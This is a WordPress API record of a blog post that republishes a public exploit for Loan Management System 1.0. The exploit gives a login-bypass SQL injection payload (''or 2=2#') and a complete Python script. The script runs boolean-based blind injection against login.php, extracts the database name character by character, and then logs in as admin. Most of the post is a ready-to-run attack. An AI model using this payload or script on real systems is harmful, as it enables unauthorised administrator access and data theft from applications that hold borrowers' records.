{"id":28549,"date":"2022-07-28T19:40:09","date_gmt":"2022-07-28T15:40:09","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/167860\/loanmgmtsys10-sql.txt"},"modified":"2022-07-30T10:10:43","modified_gmt":"2022-07-30T05:40:43","slug":"loan-management-system-1-0-sql-injection","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/loan-management-system-1-0-sql-injection\/","title":{"rendered":"Loan Management System 1.0 SQL Injection"},"content":{"rendered":"<p dir=\"ltr\"># Exploit Title: Loan Management System &#8211; SQL Injection via login page<br \/>\n# Date: 28\/07\/2022<br \/>\n# Exploit Author: saitamang<br \/>\n# Vendor Homepage: sourcecodester<br \/>\n# Software Link: https:\/\/www.sourcecodester.com\/sites\/default\/files\/download\/razormist\/LMS.zip<br \/>\n# Version: 1.0<br \/>\n# Tested on: Centos 7 apache2 + MySQL<\/p>\n<p dir=\"ltr\"># The attack vector for the SQL Injection happened at the login page. The login can be bypass using the boolean payload below to gain access as Admin as the highest privileges.<\/p>\n<p dir=\"ltr\"># Payload &#8211;&gt; &#8216;or 2=2#<\/p>\n<p dir=\"ltr\"># The python script to get the database name from SQL Injection Vulnerability can be execute below.<\/p>\n<p dir=\"ltr\">import requests, string, sys, warnings, time, concurrent.futures<br \/>\nfrom requests.packages.urllib3.exceptions import InsecureRequestWarning<br \/>\nwarnings.simplefilter(&#8216;ignore&#8217;,InsecureRequestWarning)<\/p>\n<p dir=\"ltr\">dbname = &#8221;<\/p>\n<p dir=\"ltr\">req = requests.Session()<\/p>\n<p dir=\"ltr\">def login(ip,username,password):<br \/>\ntarget = &#8220;http:\/\/%s\/LMS\/login.php&#8221; %ip<\/p>\n<p dir=\"ltr\">data = {&#8216;username&#8217;: username,&#8217;password&#8217;:password, &#8216;login&#8217;:&#8221;}<br \/>\nresponse = req.post(target, data=data)<\/p>\n<p dir=\"ltr\">if &#8216;Login Successful&#8217; in response.text:<br \/>\nprint(&#8220;[$] Success Login with credentials &#8220;+username+&#8221;:&#8221;+password+&#8221;&#8221;)<br \/>\nelse:<br \/>\nprint(&#8220;[$] Failed Login with credentials &#8220;+username+&#8221;:&#8221;+password+&#8221;&#8221;)<\/p>\n<p dir=\"ltr\">def check_injection():<br \/>\n# library inj<br \/>\ntest_query0 = &#8220;&#8216;or 1=2#&#8221;<br \/>\ntest_query1 = &#8220;&#8216;or 2=2#&#8221;<\/p>\n<p dir=\"ltr\">target = &#8220;http:\/\/%s\/LMS\/login.php&#8221; %ip<\/p>\n<p dir=\"ltr\">result = &#8220;&#8221;<\/p>\n<p dir=\"ltr\">for i in range(2):<\/p>\n<p dir=\"ltr\">if i==0:<br \/>\ndata = {&#8216;username&#8217;: test_query0,&#8217;password&#8217;:password, &#8216;login&#8217;:&#8221;}<br \/>\nresponse = req.post(target, data=data)<br \/>\nif response.text==&#8221;success&#8221;:<br \/>\nresult = response.text<br \/>\nelse:<br \/>\npass<br \/>\nif i==1:<br \/>\ndata = {&#8216;username&#8217;: test_query1,&#8217;password&#8217;:password, &#8216;login&#8217;:&#8221;}<br \/>\nresponse = req.post(target, data=data)<br \/>\nif response.text==&#8221;success&#8221;:<br \/>\nresult = response.text<br \/>\nelse:<br \/>\npass<br \/>\nif result==&#8221;&lt;script&gt;alert(&#8216;Login Successful&#8217;)&lt;\/script&gt;&lt;script&gt;window.location=&#8217;home.php'&lt;\/script&gt;&#8221;:<br \/>\nprint(&#8220;[##] SQLI Boolean-Based Present at password field :)&#8221;)<br \/>\nelse:<br \/>\nprint(&#8220;[##] No SQLI :)&#8221;)<\/p>\n<p dir=\"ltr\">def brute(dbname,password):<br \/>\ntarget = &#8220;http:\/\/%s\/LMS\/login.php&#8221; %ip<\/p>\n<p dir=\"ltr\">l=0<\/p>\n<p dir=\"ltr\"># checking length of dbname star with i = 1<br \/>\nfor i in (n+1 for n in range(9)):<\/p>\n<p dir=\"ltr\">payload = &#8220;&#8216;or 2=2 and length(database())='&#8221;+ str(i) +&#8221;&#8216;#&#8221;<br \/>\n#print(payload)<\/p>\n<p dir=\"ltr\">data = {&#8216;username&#8217;: payload,&#8217;password&#8217;:password, &#8216;login&#8217;:&#8221;}<br \/>\nresponse = req.post(target, data=data)<br \/>\nresult = response.text<br \/>\n#print(result)<\/p>\n<p dir=\"ltr\">if result==&#8221;&lt;script&gt;alert(&#8216;Login Successful&#8217;)&lt;\/script&gt;&lt;script&gt;window.location=&#8217;home.php'&lt;\/script&gt;&#8221;:<br \/>\nprint(&#8220;[##] The correct length of DB name is &#8220;+str(i))<br \/>\nl=i<br \/>\nbreak<br \/>\nelse:<br \/>\nprint(&#8220;[##] The length of DB name &#8220;+str(i)+&#8221; is wrong&#8221;)<br \/>\npass<\/p>\n<p dir=\"ltr\">char = [char for char in string.ascii_lowercase]\nchar.append(&#8216;_&#8217;)<br \/>\n#print(char)<br \/>\ndbname = []\n<p dir=\"ltr\">for i in range(l):<br \/>\nfor j in char:<br \/>\npayload = &#8220;&#8216;or 2=2 and substring(database(),&#8221; + str(i+1) + &#8220;,1)='&#8221; + str(j) +&#8221;&#8216;#&#8221;<\/p>\n<p dir=\"ltr\">data = {&#8216;username&#8217;: payload,&#8217;password&#8217;:password, &#8216;login&#8217;:&#8221;}<br \/>\nresponse = req.post(target, data=data)<br \/>\nresult = response.text<br \/>\n#print(payload)<br \/>\n#print(result)<\/p>\n<p dir=\"ltr\">if result==&#8221;&lt;script&gt;alert(&#8216;Login Successful&#8217;)&lt;\/script&gt;&lt;script&gt;window.location=&#8217;home.php'&lt;\/script&gt;&#8221;:<br \/>\ndbname.append(j)<br \/>\nprint(&#8220;[+] The &#8221; + str(i+1) + &#8221; char of DB name is &#8220;+str(j))<br \/>\nbreak<br \/>\nelse:<br \/>\npass<\/p>\n<p dir=\"ltr\">dbname = &#8221;.join(dbname)<\/p>\n<p dir=\"ltr\">print(&#8220;[+] Database name retrieved &#8211;&gt; &#8220;+dbname)<br \/>\nprint(&#8220;[+] Bypass completed :)&#8221;)<br \/>\nprint(&#8220;[+] Bypass payload can be used is \\n&#8217;or 2=2#&#8221;)<\/p>\n<p dir=\"ltr\">username = &#8220;&#8216;or 2=2#&#8221;<\/p>\n<p dir=\"ltr\">print(&#8220;\\nRetry to login with new payload in password field&#8221;)<br \/>\nlogin(ip,username,password)<\/p>\n<p dir=\"ltr\">if __name__ == &#8220;__main__&#8221;:<br \/>\nprint(&#8221; _____ _ __ &#8220;)<br \/>\nprint(&#8221; \/ ___\/____ _(_) \/_____ _____ ___ ____ _____ ____ _&#8221;)<br \/>\nprint(&#8221; \\__ \\\/ __ `\/ \/ __\/ __ `\/ __ `__ \\\/ __ `\/ __ \\\/ __ `\/&#8221;)<br \/>\nprint(&#8221; ___\/ \/ \/_\/ \/ \/ \/_\/ \/_\/ \/ \/ \/ \/ \/ \/ \/_\/ \/ \/ \/ \/ \/_\/ \/ &#8220;)<br \/>\nprint(&#8220;\/____\/\\__,_\/_\/\\__\/\\__,_\/_\/ \/_\/ \/_\/\\__,_\/_\/ \/_\/\\__, \/ &#8220;)<br \/>\nprint(&#8221; \/____\/ \\n\\n&#8221;)<\/p>\n<p dir=\"ltr\">try:<br \/>\nip = sys.argv[1].strip()<br \/>\nusername = sys.argv[2].strip()<br \/>\npassword = sys.argv[3].strip()<\/p>\n<p dir=\"ltr\">login(ip,username,password)<br \/>\ncheck_injection()<br \/>\nbrute(dbname,password)<\/p>\n<p dir=\"ltr\">except IndexError:<br \/>\nprint(&#8220;[-] Usage %s &lt;ip&gt; &lt;username&gt; &lt;password&gt;&#8221; % sys.argv[0])<br \/>\nprint(&#8220;[-] Example: %s 192.168.149.130 admin admin123&#8221; % sys.argv[0])<br \/>\nsys.exit(-1)<\/p>\n","protected":false},"excerpt":{"rendered":"<p># Exploit Title: Loan Management System &#8211; SQL Injection via login page # Date: 28\/07\/2022 # Exploit Author: saitamang # Vendor Homepage: sourcecodester # Software Link: https:\/\/www.sourcecodester.com\/sites\/default\/files\/download\/razormist\/LMS.zip # Version: 1.0 # Tested on: Centos 7 apache2 + MySQL # The attack vector for the SQL Injection happened at the login page. The login can be &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-28549","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/28549","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=28549"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/28549\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=28549"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=28549"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=28549"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}